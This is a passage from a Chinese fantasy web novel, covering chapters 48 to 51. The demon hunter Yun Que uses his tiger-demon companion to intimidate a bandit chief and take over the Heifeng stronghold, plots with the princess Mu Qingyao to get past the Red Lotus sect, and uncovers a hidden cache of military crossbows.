“天下,的确不太平。” 牧青瑶始终望着地图,葱白的手指再次指点道: “妖都虽然覆灭,北域之地仍旧盘踞着无数妖物,流窜各地,兴妖作乱,北域应该设立边关屏障,以重兵把守,定期狩猎附近妖物。” “东方的邵武国看似安稳,实则狼心不灭,始终惦记着大晋这块肥肉,我朝应以举国之力肃清境内妖邪,能杀的杀掉,能捉的活捉,将抓来的妖物放逐至东域以外,在晋国与邵武国之间制造一片妖物栖息的区域,达到天然屏障的效果,震慑邵武国的同时,也是一种最佳的缓冲。” “西方十万大山虽然人迹罕至,但也不能放松警惕,需要派遣高手前往探查巫族的动静,提前做好准备,免于大祸来临还一无所知。” “南方草原之所以如此安静,是我父亲当年选择了以攻为守,杀得蛮族胆寒,这才是最佳战术,对敌人的怜悯,就是对自家人的残忍,可惜,大晋皇族太安逸了,居安思危,才是正道。” 牧青瑶说完,发现云缺直愣愣的盯着她看。 小郡主眨了眨眼睛,还以为自己脸上多了什么脏东西,问道: “怎么了,我脸上有东西吗?” “没有,我觉得你指点天下的样子,好像个皇帝啊。”云缺感慨道。 牧青瑶罕见的羞涩了一下,抿着唇轻声道: “竟胡说,世上哪有女皇帝。” “世上还没有神仙呢,怎么人人都想当神仙,我觉得你要是当皇帝,天下百姓会过得比现在好得多。”云缺发自内心的道。 肉已经烤好,几人吃饱后休息一晚。 天明时分,云缺仔细看了看地图。 从这里到皇城,如果一直赶路的话,以萍山君的速度无需半月即可到达。 但乌家寨被毁,红莲教肯定气得咬牙切齿,各处关卡必定会加派人手拦截郡主。 “走这里。” 云缺在地图上指了一条路线,绕过了很多城镇,全是崇山峻岭。 萍山君不大会看地图,但从地图上画的山川就能看得出这条路肯定不好走,于是虎脸发苦。 路越难走,它这个坐骑就越费力。 “路上找个合适的落脚地,我们先住下来,不急着去皇城,先耗一耗红莲教的耐心。” 云缺定下计划后,翻身骑上虎背。 三人一虎继续赶路。 翻过了无数险峻高山,越过大片盘踞着妖兽的森林,一路上走得有惊无险。 这种路线,若没有萍山君,连八品武夫都吃不消。 十天之后,一行人抵达了一座名为双角山的地方。 云缺决定在双角山暂时落脚。 不是这里的风景好,也不是这里有宝贝,选在双角山落脚的原因只有一个。 云缺,被打劫了。 第48章 传家之宝 双角山,顾名思义,共有两处山头儿,相隔里许,远远看去犹如双角。 这里距离皇城还有两三天的路程,不算太远。 双角山地处偏僻的荒郊野外,山脚下有一条土路,连接着附近的两座大城。 其实两座城之间还有一条宽敞的官道,由于被一条小河隔开,想要往来两城,需要渡船才行。 走路不要钱,坐船可要钱,而且收费还不低。 尤其运送大批货物的商贾,需要雇佣更大的船只,单单渡河的费用就高得离谱。 于是一些携带货物的行商便另辟捷径,在小河上游水流不那么湍急而且两岸距离较近的位置架起座木桥,能通行马车与行人。 尽管绕了一大圈,但省下了高昂的渡船费用,久而久之,这条路便被硬生生给踩了出来。 双角山下的土路,便是由此而来。 路是有了,但也多了新的麻烦。 一些亡命之徒知道有行商喜欢走双角山这条路,便经常来这里等买卖。 久而久之,双角山附近匪患横行。 官府经常派遣军兵前来剿匪,可这片地方除了一条土路什么都没有,周围不是荒山就是丛林,看到官兵,匪徒早就远遁而去。 多年下来,山匪没剿到多少,在山里迷路的官兵越来越多。 官兵都知道来这里剿匪是个费力不讨好的差事,于是也就做做样子,哪有人当真会拼命在大山里找贼,随便走走混上两天,回去交差,说山匪被吓退,差事就算结束。 相对于前朝大燕,晋国从上到下,都喜欢这种表面文章。 有山匪作乱,派兵赶走。 有妖邪作祟,派兵赶走。 很少有人会做到斩草除根,反正妖邪退走山匪退走,仍是功劳一件。 赶走与杀绝,得到的好处都一样,只要不是缺心眼,谁都会选择更简单的前者。 这也是许多衙役官差的混世之道。 双角山的匪患,云缺并不知情。 之前只在知远县内走动,第一次出这么远的门儿。 直到在半山腰休息的时候,山顶杀出一群彪形大汉,云缺才知道这地方闹山匪。 见有外人,萍山君很自觉的先把斗笠戴好遮住样貌。 门六战战兢兢的躲在萍山君旁边,这种时候,还是虎妖比较有安全感。 牧青瑶退在云缺身后。 灵芸郡主拥有着指点江山的智慧,但打打杀杀这种事,当然是云缺最为拿手。 很快一群山匪围拢过来。 共有二十多人,全都手提钢刀,凶神恶煞。 这些人当中,有一半是九品武者,壮硕的身躯气血充盈。 为首的是个瘦小枯干的汉子,三十多岁,两只眼睛铺满白翳,是个瞎子。 瞎子站定当场,唱戏般喊道: “此山是我开,此树是我栽,要从此路过留下买路财!对不住了几位,兄弟们最近手头紧,没钱吃饭,你们身上有银子就留下银子,没银子,就留个全尸。” 云缺抱着肩膀,好笑的听对方说完。 眼前的瞎子,云缺认得。 一个时辰前,才在山脚下见过。 当时云缺以为瞎子住在附近,还朝这瞎子打听路怎么走,没想到是山匪放在外面的眼线。 “诸位,什么山头儿的,留个名号。”云缺道。 “双角山,黑风寨!我家大王乃八品武道高手!识相的,痛快点,省得我们动手,你们也遭罪。”瞎子撇着嘴喝道,别看眼睛瞎,气势可不弱。 “痛快点就痛快点,要不我来?”萍山君凑都云缺旁边,直咽口水的道。 一群悍匪在它眼里只是一堆点心。 云缺摆手示意别插手。 黑风寨,这名字一听就是个好地方,正好有地方落脚了。 “我们都是穷人,身上没什么银子,诸位好汉不如行个方便,放过我们如何。”云缺道。 “我们这行可没这个规矩,雁过拔毛,如果遇到个人就行个方便,我们岂不是早就饿死了!”瞎子道。 “钱肯定没有,不过我有把子力气,不如我们入伙,跟着你们一块打劫,什么时候帮你们挣够钱了,你再放我们走。”云缺道。 瞎子听得直发愣。 其他几十个汉子也听得瞠目结舌。 有个汉子手里没拿住,钢刀直接掉到地上。 这是什么奇葩理由! 这帮悍匪劫掠多年,被打劫的路人,不是吓得跪地求饶,就是掏出所有钱财,硬气点的大打出手。 入伙的,可头一次遇到。 这叫啥事儿? 打不过你们,就加入你们呗! “嘿嘿嘿!你小子有点意思,好!我给你个机会,到黑风寨见我们大当家。” 瞎子皮笑肉不笑的道:“如果大当家看好你们,就让你们入伙,到时候咱们就是兄弟!走吧!” 瞎子一摆手,立刻有几名悍匪绕到云缺一行人后侧,切断退路。 半是挟持,半是邀请的,将云缺几人带到位于山顶的营寨。 黑风寨不大,建着一些简单的屋舍,有木头屋,有石头屋,还有简易的帐篷屋子。 黑风寨的人可不少。 大多是精壮的汉子,还有一些不知什么年头被劫掠来的女人,加起来足有几百人。 瞎子当先走进寨子,他旁边一名矮汉子低声抱怨道: “咱们黑风寨的人够多了,再养几个吃白饭的,我们可真要吃不上饭了。” “你懂个屁!没看到那小子旁边有个妞子吗,人那么漂亮,大当家肯定喜欢!”瞎子道。 “那小丫头确实好看,我们看到都流口水,嘿嘿……哎不对啊,你不是瞎子么,你怎么能看到人家漂不漂亮?”矮汉子疑惑道。 “还用看么,听声音就知道是个小美人。”瞎子道。 黑风寨最中心的位置,有一间宽敞的大屋。 整个山寨属这间屋子最好,青砖建造,粗犷中带着一丁点的气派。 屋子大门开着,一名壮汉坐在里面大口喝酒。 壮汉四旬上下,浓眉环眼,一手拎着酒坛,一手掐着只烤鸡,吃得满嘴流油。 此人是黑风寨的大当家,名叫常威,是八品炼骨境武者,杀人如麻,凶悍无比。 大桌上,摆着一把刀背极厚的重刀,单看外表至少五百斤往上。 “大当家!好事儿啊!” 瞎子一进屋就轻车熟路的来到大桌前,低声道:“来了几只肥羊,有个小妮子漂亮得紧,肯定合大当家的胃口!” “是么!” 常威闻言大喜,朝着门口看去。 这时云缺几人正走进大屋。 常威没看男的,一眼就盯住了牧青瑶,顿时两眼放光,酒也不喝了,大笑着直搓手。 “不错!极品呐!哈哈哈!”常威哈哈大笑。 对方笑,云缺也笑,稳稳当当站定当场,抱了抱拳,道: “这位就是大当家了吧,在下云缺,家道中落,原本打算去投亲,结果亲戚早已过世,如今无处可去,还望大当家收留。” “好说,好说!”常威盯着牧青瑶,嬉皮笑脸的问道:“这位小娘子,叫什么名字啊。” “她叫小青,我媳妇,另外两个的家里的下人。”云缺道。 牧青瑶眼神中现出一丝嗔怪,不过一张俏脸却变得有点发红。 “小青,好名字!听起来就那么舒服,嘿嘿嘿,你叫云缺是吧,跟着我可以!以后大家就是兄弟,吃香的喝辣的!我的东西肯定有你一份,不过你的东西,也得有我一份才行。”常威不怀好意的道。 “行啊,不知大当家想要点什么。”云缺道。 “既然你家道中落,身上值钱的东西就自己留着,做大哥的肯定通情达理,不会让你为难,我只要一样东西。” 常威流着口水道:“我要你媳妇!” 常威此言一出,旁边的瞎子与一众匪徒立刻嘎嘎怪笑起来,一大屋子山匪好似群魔乱舞。 萍山君听得也想笑。 一群傻老鼠想要猫当新娘,能不好笑么。 可云缺没说话,它只好忍住了。 云缺做出一脸苦涩的模样,万般不舍的望向牧青瑶。 牧青瑶则一副戚戚然,泪眼汪汪的柔弱模样,看得人心生怜意。 云缺的眼皮跳了跳。 灵芸郡主不仅天资聪慧,演戏也有一套啊…… 等一众匪徒笑够了,云缺长叹一声道: “没想到我云某人也有今日,哎,既然大当家心意已决,在下不敢不从,不过我有一件传家之宝,今天忍痛献出来,我敢保证,大当家只要看到此物,肯定对我媳妇再也不感兴趣。” 常威觉得十分好奇,瞪起眼睛道:“是吗?你还有这种好东西,拿出来瞧瞧!” “此物事关重大,只能给大当家一个人看,其他人若是看了……” 云缺往前走了几步,低声道:“容易惹来祸端!” 常威更觉得新鲜,心里直痒痒,越是神秘他就越好奇。 “都滚出去!把大门给老子关上!” 常威一吩咐,屋子里的山匪立刻乖乖离开。 瞎子没走,还站在一边。 “你怎么不出去。”云缺道。 “我是瞎子,啥也看不见,嘿嘿。”瞎子道。 常威道:“不管他,瞎子一个,你的好东西到底在哪呢,赶紧拿出来!” 云缺道声好,回身将萍山君拉到常威面前。 “大当家的上眼了,这可是天下至宝,你一定要好好看清楚。” 说着,云缺掀起了萍山君斗笠上的黑纱。 当一颗狰狞虎头出现在眼前,常威瞪起的大眼睛,再次扩大三分,眼角都瞪出了血丝。 哐当! 椅子翻倒,身为八品武者的黑风寨大寨主,直接被吓得跌倒在地。 在萍山君现出真容的那一刻,旁边的瞎子竟没来由的打了个哆嗦。 云缺面带笑意,道: “大当家看了我家宝贝,是不是对我媳妇没兴趣了。” “没、没兴趣!” 常威狼狈爬起,赌咒发誓的道:“你媳妇就是你媳妇!以后谁敢打你媳妇的主意,我先宰了谁!” 常威不得不如此卑微。 他不仅看到了萍山君的真容,还感受到来自萍山君身上,那七阶虎妖的恐怖气息。 第49章 二当家 当常威重新坐好的时候,心里已经将旁边瞎子的祖宗十八代骂了个遍。 这哪里是抓回来几头肥羊,这是请来了几个祖宗! 常威看不出云缺牧青瑶和门六有什么能耐,但他很清楚七阶虎妖的能力,只要人家动手,整个黑风寨几百人,都得成为点心! 常威的态度直接来了个逆转,从之前的贪得无厌,高高在上,变成了谨小慎微,低声下气。 “这件宝贝,大当家可还满意。”云缺笑吟吟的道。 “托云公子的福!我有生之年居然能看到如此至宝,实在死而无憾了!” 常威把凳子一个劲的往旁边挪,生怕被虎头来上一口。 “既然如此,那大当家就收下吧。”云缺道。 “这是什么话!云公子的家传至宝,我岂能夺人之美!云公子自己收好,千万别拿出来了。”常威道。 “除了这件宝贝,我可没别的了,既然大当家不收,我们只能在你这里白吃白喝。”云缺道。 “云公子放心!只要有我一口吃的,就绝对亏待不了你们!安心住下就是,一家人千万别客气!”常威苦着脸道。 “多谢大当家收留。”云缺道。 “云公子打算在黑风寨住多久?你家还有没有别的亲戚了,找不到没关系,我们这人多!都派出去帮你找亲戚!”常威陪着笑道。 “不瞒大当家,我家亲戚死绝了,我看黑风寨挺好,我以后拿这里当自己的家。”云缺道。 常威很想大哭一场。 他现在终于深刻体会到,什么叫请神容易送神难。 看着云缺戏耍黑风寨的大当家,牧青瑶强忍着笑。 早就能亮出身手,震慑对方,偏偏要扮猪吃老虎,还不一口吃掉,而是先把对方吓得魂飞魄散,再鸠占鹊巢,这种手段实在是…… 太坏了! 虽然觉得云缺的手段够坏的,但牧青瑶不得不承认十分痛快过瘾。 先装扮成娇滴滴的可怜小姑娘,面对恶人无能为力,结果摇身一变成了要命的女魔头,恶人被吓得跪地求饶,如此反差,简直畅快淋漓。 常威看得出云缺是打定主意住在黑风寨了,他一狠心,道: “云公子既然不见外,那我也不能小气!今后你就是黑风寨的大当家!” 云缺谦虚的摆手道:“我是后来的,怎能占了大当家的位置,说出去也难以服众啊,这样好了,我就做个二当家。” “行!” 常威起身来到屋外,一声大吼召集众人,不多时寨子里上上下下几百人全汇聚了过来。 常威一手掐着腰,一手抓着云缺的手腕,声如洪钟的道: “从今天开始,云兄弟就是黑风寨的二寨主!他说的话,跟我说的份量一样,谁敢不听,我砍谁的脑袋!都听清楚了吗!” 一群山匪诧异了一瞬,随后齐声呼喝:“听清楚了!” 山匪上位,就是这么简单粗暴。 云缺这个外来人,就此成为黑风寨的二当家。 作为二当家的夫人,牧青瑶尽管美如天仙,寨子里再也没人敢多看一眼。 匪寨里可没有什么王法。 所有事都是寨主说了算,今天请你吃饭还是砍你脑袋,都看寨主的心情。 常威亲自挑选了两间最好的屋子,把里面的山匪统统赶走,让给云缺一行人。 又吩咐寨子里的厨子做一顿最丰盛的酒宴,给二当家接风洗尘。 送走了几人后,常威一脸丧气的回到屋子。 进屋做的第一件事,就是把瞎子胖揍一顿。 “大当家饶命啊!再打就没气儿啦!”瞎子连连哀求。 常威停住手,骂道:“你个丧门星!寨子早晚毁你手里!” “怨不着我呀大当家,我以为他们只是过路的肥羊,谁成想是过路的阎罗王。”瞎子抱着脑袋道。 常威长叹一声,道: “难怪最近总倒霉,逢赌必输,吃肉都塞牙,原来是天降横祸的预兆啊,早知道最近消停点,收收手……” 瞎子小心翼翼的道: “大当家估计,他们要住多久才能走?咱们那份买卖被外人发现的话,可就不妙了呀。” 常威闻言脸色顿时变了变,沉吟道: “不清楚,看样子他们要住上好一阵子,那些东西你今晚就去处理,挪出山寨,找个地方藏好。” “大当家放心,这事儿肯定办妥!”瞎子保证道。 …… 云缺胃口不错。 一路上也没吃上正经东西,到了山寨,云缺打算好好歇歇,好好吃点。 于是去看了眼后厨。 山匪里的厨子,都是半路出家,根本没人会做菜,山匪烧菜的原则是做熟了就成。 云缺命令几个山匪打下手,让门六负责烧菜。 门六除了能喝水之外,别的能耐没有,不过烧菜确实不赖。 当晚,一桌酒菜摆得满满登登。 没什么山珍海味,都是家常菜而已,但色香味俱佳。 一顿饭吃得常威直挑大拇指,赞不绝口。 瞎子闷头大吃,筷子上跟长了眼睛似的,专夹肉吃。 让门六烧菜,云缺其实有意为之。 这帮山匪干的全是杀人劫货的买卖,山匪们弄出来的食物,没准多了点东西,哪能吃得放心。 酒宴上,云缺与常威互相吹捧,说了一桌子废话。 谁也没套出谁的底细。 吃完饭,四人各自回房。 两间房,四人住。 既然云缺与牧青瑶装成夫妻,自然两人住一间房。 门六与萍山君住在隔壁的另一间。 进门之前,门六依依不舍的看着云缺,眼泪汪汪。 他这辈子还没和一头七阶虎妖同处一室过。 他担心晚上睡着睡着,就睡进了人家的肚子里。 关上门,云缺打了个饱嗝,抻着懒腰道: “奔波半个月,可算能好好歇一歇了。” 牧青瑶望着铺在桌上的地图,微蹙秀眉道: “此地距离天祈已然不远,中途需要经过八山城,八山城由周围的八座高山而得名,地势险要,易守难攻,是拱卫皇城的重地之一,无法绕路。” “从藏石镇开始出发,八山城是抵达皇城前的最后一处大城,红莲教肯定安排了大量人手,或许已经备好十面埋伏,静待我们自投罗网。” “好消息是,八山城由于位置特殊,无论前朝大燕还是当今大晋,都将其视作重镇,设有重兵把守,镇守八山城的将军苏鸿山与我父亲交情颇深,不可能是红莲教的人,他一定会帮我。” 分析完路线,牧青瑶不无感慨的对云缺道:“幸好有你,否则这一路行来我不知要遇到多少危机,沿路的每一座城镇村庄对我来说都是一处危险的陷阱。” 从地图即可看出,这些天的行程,绕开的城镇村镇多达数十处。 如今希望在即,返回皇城的路上只剩一座八山城。 “应该感谢萍山君,堂堂七阶虎妖成了骡马,估计这次远行是它这辈子无法抹掉的阴影。”云缺笑道:“郡主殿下可要说话算数,别忘了给它弄一块行妖令。” “不会忘的,回到皇城我会立刻去见陛下,先求行妖令。”牧青瑶轻松的道。 灵芸郡主在皇帝眼里的地位,不弱于皇子,要一块行妖令对她来说没有难度。 “八山城的那位将军,什么修为。”云缺问道。 “我记得应该是五品武者,苏伯伯很厉害的,我小的时候,父亲总喜欢与他切磋。”牧青瑶道。 “五品啊,的确很强了,不过不能找他帮忙。”云缺道。 牧青瑶诧异了一下,道: “五品强者加上守城的重兵,即便红莲教倾巢而出也能挡得住,我若说明真相,苏伯伯肯定会调集重兵亲自护送。” “就因为他会调集重兵护送你,才更不能找他帮忙。”云缺打着哈欠道。 “你怕红莲教的教主亲自出手?如果那教主当真是四品高手的话,苏伯伯即便不是对手,拖住对方应该做得到。”牧青瑶道。 牧青瑶认为最好的办法是求助于八山城的将军与守军。 这里毕竟是大晋的地界,距离皇城已经不算太远,双方开战的话,只要皇城里的高手得到消息必定会来援。 但云缺想的与牧青瑶截然不同。 “那教主若是四品武者或者四品道门与儒家修士,你的办法都没问题,五品的将军加上重兵,车轮战也能拖住对方,但你有没有想过,如果那教主是四品巫修呢。” 云缺用手指敲着桌面,道: “暗杀之道,天下间所有派系的修行者,有一个算一个,同阶之间没人比得过巫修,如果一位四品巫修得知你的下落,有一千种办法神不知鬼不觉的要了你的命,护卫你的人再多有什么用,只会更快的指明你的方位。” 乌家寨的巫修,足以证明红莲教之内存在着更多的巫道高手。 在云缺看来,牧青瑶越是被重兵护卫,死得就越快。 牧青瑶沉吟少许,默默点了点头。 她尽管没有修为,但对天下间的各派修士均有很深的了解,她知道云缺说得没错。 八品法巫都能入梦杀人,又何况是四品的强大巫修。 眼看着皇城在即,可一座八山城却成了最后的鬼门关,聪慧过人的灵芸郡主一时间想不出太好的办法。 云缺踢掉鞋子,舒舒服服的倒在塌上,道: “最好的办法,是偷偷混出八山城。” “难,红莲教不会放松这最后一道关卡。”牧青瑶忧愁道。 “混不出去,那就让城里的守军送我们出去。”云缺道。 “你不是说,不能求守军护送么。”牧青瑶不解的道。 “送客这种事,你们皇族肯定很讲究,如果遇到恶客,你该怎么办。”云缺道。 “好客笑迎,恶客摔杯,对于送客,我们皇族和普通人差不多,没多少区别的。”牧青瑶道。 “不,有区别,你们面对恶客只会摔杯,我们这些山野村夫如果遇到恶客,不仅摔杯,还会把对方打出去,一路打到村口。” 云缺笑容古怪的道:“想要平安通过八山城,我们就要做那恶客,让守军把我们打出去,最好一路追杀我们到皇城脚下。” 第50章 人心如妖 云缺的计划,牧青瑶乍一听之下觉得离谱。 可略一沉吟,竟觉得是一条妙计! “我们装作山匪,只要能混进城去闹出些事端,再想办法从另一端城门逃出去,这样一来守军的一路追捕,就变相成为了一路护送,没人能想到灵芸郡主会被大晋国的守军追杀!” 牧青瑶睁大了美眸,惊奇又佩服的道:“瞒天过海,暗度陈仓!云缺,你怎么想到的这种办法!” 牧青瑶不仅精通医道,更熟读兵书,在心智这一块,她自认为不弱于任何人。 但对于云缺,牧青瑶佩服得心服口服。 比心智,牧青瑶绝对不比云缺低,但是人家云缺的脑子,转得是真快。 这种计谋听起来奇葩古怪,如果用好了,那就是出奇制胜的妙计。 能想出如此计谋的人,绝对是鬼才! 云缺打着哈欠道: “刚想到的法子,其实是个馊主意,能不能用再说,反正要在这住一阵子,而且山匪不用装,我们现在就是了。” 牧青瑶收起地图,来到床榻旁,弯着腰直勾勾的望着云缺。 “当初改路浮萍山让我大为意外,居然被你请来了萍山君,一路上我们少了许多危险,这次的瞒天过海又是一招锦囊妙计,看似不可能其实成功几率不小,有时候真想看看你脑子里到底装着什么,简直诡计百出!” “想看的话也行,等我死了,你自己切开随便看。”云缺懒洋洋的道。 牧青瑶嗔怒的哼了一声,非但听不出怒气,反而更显得娇滴滴。 “打个比喻而已,你还真让我切呀!” 牧青瑶说着宽衣解带,褪去外衣,只穿着内里白色的衣裤,窈窕的身姿令人遐想连篇。 随后牧青瑶直接躺在云缺旁边。 整个过程轻松自然,毫无羞涩可言。 云缺都看呆了。 你这也太不见外了! “喂,咱们假扮的夫妻,你不是当真了吧。”云缺道。 一路上牧青瑶若是休息,都会和衣而眠,即便住在藏石镇云缺家里的时候,人家也没脱外衣。 今天这种情况,云缺有些不知所措了。 “好多天没睡过安稳觉,我也想好好休息休息,女人睡不好的话,皮肤会变差的。”牧青瑶将被子盖到脖子,只露出个小脑瓜道。 云缺这下无话可说了。 人家说得没错,一个小姑娘家,奔波了半个月,终于到个安全之地,还不让睡个安稳觉么。 云缺只好往里面挪了挪,面朝着里面,抱着刀睡觉。 可身后如兰的幽香与轻轻的呼吸声,实在扰得云缺睡不安稳。 云缺咬牙切齿,猛地翻过身去。 正好与牧青瑶明亮的美眸四目相对。 “你胆子真不小,就不怕我睡得迷迷糊糊兽心大发,我可是男人呐!”云缺道。 “我相信你是个好人。”牧青瑶说着将被子往上拽,盖住了半个脑袋,只剩下两只眼睛在外面。 “女人也会口是心非,有能耐你别把自己盖那么严实,看我是不是个好人。”云缺没好气的道。 牧青瑶的眼睛弯成了月牙儿,躲在被子里笑。 如此美丽灵慧的女孩儿,云缺气归气,的确生不出半点邪念。 不是男人不男人的问题,而是眼前的花儿实在太美,舍不得摘。 “除了我之外,还有没有别人说过你是好人。”牧青瑶眨着眼睛轻声道。 “有哇,镇子上要饭的乞丐每次看到我都喊好人,可惜我一个铜板也没给过他们。”云缺道。 “你根本不会哄女孩子开心,甜言蜜语,才是女孩子喜欢听的,而不是指桑骂槐。”牧青瑶道。 “我为什么要哄女孩子开心?我的女人,应该哄我开心才对,天天斩妖累得半死,回家还得给媳妇讲笑话吗?哦,为夫今天斩了一头猪妖,一刀下去你猜怎么样?竟有两颗猪头,因为那是头怀了崽子的母猪!”云缺道。 牧青瑶实在忍俊不禁,躲在被子里笑得快要岔气。 等笑够了,又伸出小脑瓜道: “你的笑话好残忍,一尸两命,我听说猎人打猎,若遇到怀胎的猎物大多会放生,求个心安。” “我的刀下从来没有活口,不仅一刀两命,连那猪妖的九族都会杀光,所过之地,寸草不留,只有天下间的妖邪全被斩尽杀绝,我才能心安。” 云缺淡淡的道:“所以,我不是什么好人,我就是个冷血的刽子手。” 牧青瑶沉默了下来。 她将自己的小手,握住了云缺的大手,轻柔道: “斩天下之妖邪,开万世之太平,不管你是好人还是坏人,你是天下间独一无二的猎妖人。” 云缺望着牧青瑶纯洁无瑕的眼眸,笑了笑,道: “百玉城有个大澡堂,里面接的温泉水,每次到百玉城我都会找梅钱去泡澡,那家伙小气得很,每次都让我出钱,他说之后请我去勾栏听曲儿,结果泡完澡他肯定先溜,出门后人都找不到,然后我就报复他,去他常去的小酒馆大吃一顿,让老板记梅校尉的账。” “他知道了就跑来骂我,说我从头发根到脚趾甲,浑身上下没有一个地方像好人,我说他从头盖骨到尾巴根,浑身上下所有地方都在冒坏水。” “我们这种人呐,是世上最卑贱的一类,活着的时候刀头舔血连朋友都坑,死了地府都不收。” 牧青瑶认真的听着,这次她没有笑,而是轻声道: “所以你才找了个同样冷血的朋友,这样即便互相坑起来也不会内疚,可冷血的朋友如果死了的话,你一样会伤心。” 云缺叹了口气,无奈道: “郡主殿下果然聪慧,能轻易洞察人心,你不觉得无聊么,人心这种东西,复杂又可怕,看透了的话,你也许会失望透顶。” “确实如此,我见过很多人不同的心,有的狡猾,有的贪婪,有的愚蠢,有的龌龊,但你不一样,你的心,比所有人都纯粹。”牧青瑶轻声道。 “是啊,我的心的确纯粹,我斩妖就是为了钱,纯粹得毫无瑕疵,比不得郡主殿下寻灵花庇护苍生的宏图大志。”云缺慵懒的道。 “不,我们其实一样,只有天下妖邪全被斩尽杀绝,我们才能心安。”牧青瑶轻语道。 云缺仰望着漆黑的棚顶,沉默良久,幽幽道: “小时候,我总梦想着斩尽天下妖邪,我杀一只妖,世上就会少一只妖,只要我活得够久,早晚能杀尽天下妖邪,可长大了我才知道,原来妖,是杀不尽的,因为很多妖都住在人的心里,人心如妖,谈何杀绝,儿时的梦想,只是个笑话。” 牧青瑶默默的听着,她能感受到云缺的无奈,感受到一位猎人的茫然。 人心如妖,如何才能杀绝。 “其实,更多人的心里,是没有妖的,我们只要尽力而为,不负此生,便足矣。” 牧青瑶尽力将声音放得轻柔。 想要以自己的温柔,慢慢去融化云缺那颗冰冷的心。 效果很明显。 牧青瑶轻轻柔柔的声音带着摇篮曲的效果,等她说完,听到了云缺的鼾声。 牧青瑶无可奈何的翻了个白眼。 我劝你不负此生,你结果还真是不负此生,连今夜都不辜负,这就睡了…… 无奈的暗暗苦笑,牧青瑶觉得自己刚才对云缺的担心有点多余。 如果没有一颗足够强大的内心,又岂能成为横行知远县方圆千里之地的猎妖人。 经过越来越多的相处,牧青瑶已经愈发了解云缺。 以云缺的为人,估计除了穷得没钱之外,世上再没有什么能打击到他了。 儿时的梦想,覆灭的前朝,旁人的白眼,强者的鄙夷,这些通通不算事儿,还没有银子来得重要。 “你真是个纯粹的人……” 牧青瑶带着笑容,静静望着眼前的少年,困意袭来,小郡主也沉沉睡去。 黑风寨的夜晚很宁静。 一轮明月高挂中天。 午夜时分,牧青瑶从睡梦中惊醒。 通灵之体的天赋,让她察觉到有魂体在附近出没。 抬头望去。 窗户外,果然漂浮着一道若隐若现的魂体虚影,无声无息。 那魂体比较奇怪,也不进来,就在窗户外飘来飘去,时不时的贴到窗户上,很有礼貌的轻轻敲两下。 牧青瑶看得直发愣。 由于天赋特殊,她从出生以来就能看到阴魂鬼体。 这些年又经常在外奔波,可以说牧青瑶所看到的灵体,不比她见过的活人少。 什么样的魂体,她几乎都遇见过。 有凶戾的厉魄,有茫然的幽魂,有惨烈的怨鬼,也有一些没有意识胡乱漂浮的灵魄。 可牧青瑶从来没见过有礼貌的鬼! 敲窗户的声音很轻,云缺还在呼呼大睡。 牧青瑶轻轻碰了碰云缺,打算将其叫醒,结果人家翻了个身继续睡得香甜。 没办法,牧青瑶用力掐了下云缺,这才将其叫醒。 “外面有东西,好像要进来。”牧青瑶低声道。 云缺迷迷糊糊的看了眼窗户,骂道:“大半夜的,听墙根儿呢!” 这话说完,窗外的魂体竟飘了进来,在屋中显现出一个老虎的轮廓。 牧青瑶这才知道,原来有礼貌的鬼物,是萍山君控制的伥鬼。 “外面有好戏,要不要去瞧瞧。”伥鬼发出萍山君的声音。 “半夜不睡觉,你在外面瞎逛什么。”云缺没好气的道。 “饿了,我这不是寻摸点吃的么,恰巧看到点有趣的东西。”萍山君道。 “到底什么东西?”云缺道。 “你去看了就知道。”伥鬼无声无息飘出门外。 云缺无奈之下只好起来。 让牧青瑶自己先睡,云缺跟着伥鬼来到山寨后方。 果然看到了一幕有趣的画面。 第51章 真是个人才 黑风寨后山,有一大片竹林。 时而传出挖土的响动,在静夜里清晰可辨。 一名黑衣人在林间深处挖出一个大坑,累得满头大汗。 等挖好了,他将旁边一箱箱货物往坑里扔,准备掩埋。 一边扔还一边嘀咕。 “大王赚钱小鬼受罪,我才能分几个钱,大半夜还得干这种累活,真他娘倒霉,都怪那几个外来的,黑风寨又不是客栈,来这凑什么热闹……” 瞎子骂骂咧咧,扔了手里的箱子,回身想要再搬一箱。 结果木箱已经被搬了起来,送到他手里。 “谢了……” 瞎子接过箱子,又扔进坑里。 等箱子扔完,他终于反应过来。 身后有人! 瞎子吓得浑身一哆嗦,站在大坑旁边愣是没敢回头。 “忙什么呢,该不会要埋秋菜等着过冬吃吧。” 云缺笑呵呵的道。 “呦!是二当家啊,您说对了,就是埋秋菜呢,这活儿又脏又累,我一个人就行了,二当家回去歇着吧。”瞎子转过身,一脸讪笑的道。 云缺瞄了眼用油布包裹得结结实实的木箱,道: “还是黑风寨有钱呐,这种箱子的价值比秋菜都贵,正好有点饿,打开一箱我回去做点宵夜。” 瞎子为难的道:“后厨有菜,我让厨子给二当家弄点吃的。” “不用,我想吃你埋的秋菜,打开。”云缺冷淡道。 瞎子一脸苦涩,摸摸索索的打开了一个箱子。 里面哪里是什么秋菜,而是整整齐齐的一箱子军弩! 足有十把。 这里的木箱总共十个,加起来总共一百军弩! 云缺拿起一把弩箭,在手里把玩道: “这秋菜不错嘛,嚼起来嘎嘣脆,哪里弄的。” 萍山君控制的伥鬼,漂浮在一旁看热闹。 它说的有趣的东西,指的就是瞎子拉车。 瞎子做出一副茫然状,道: “弟兄们自己种的呗,秋菜不用抢,山上有的是,现在埋好,等冬天到了吃多少挖多少。” 见对方装傻充愣,云缺将挂着弩箭的军弩对准了瞎子的面门。 “你一冬天,能吃几棵菜啊。” 瞎子立刻往旁边挪了挪,让开弩箭,讪笑道:“我吃的少,一两棵就够!” 云缺又缓缓将箭尖指向瞎子,道: “我看你胃口挺好的,一两棵肯定不够,现在让你吃一棵菜,怎么样。” 瞎子连忙又往旁边挪了一步,苦着脸道:“不、不吃了吧,我挺饱的。” 见对方刻意避开弩箭,云缺好奇道: “原来你不瞎啊!” 瞎子赔笑道: “瞎一多半,还能看见那么一丁点,撑死不迷路,没啥大用,还不如全瞎喽。” “是么,那我帮帮你,让你彻底瞎掉。” 云缺一把抓住对方的脖领子,将箭尖对准了瞎子的眼珠子。 “别!别!二当家饶命啊!我是个苦力,大当家吩咐让我埋了这些东西,怕被你们看见,这事跟我没关系呀!”瞎子连忙服软。 “军弩可是好东西,能一次运来这么多,大当家的路子够广的,说清楚,怎么弄来的。”云缺道。 如果是一两把军弩,云缺没兴趣多问,毕竟军中的武器即便管理严格,也会有少量的器械流出。 整整一百把军弩,绝非小数目。 如再有一百名训练有素的精兵,每人持一把军弩,这百人的弩箭队可以发挥出惊人的战力。 要知道那都是军中的连发重弩,九品武者也扛不住。 百名弩手,足以击杀一名八品武夫! 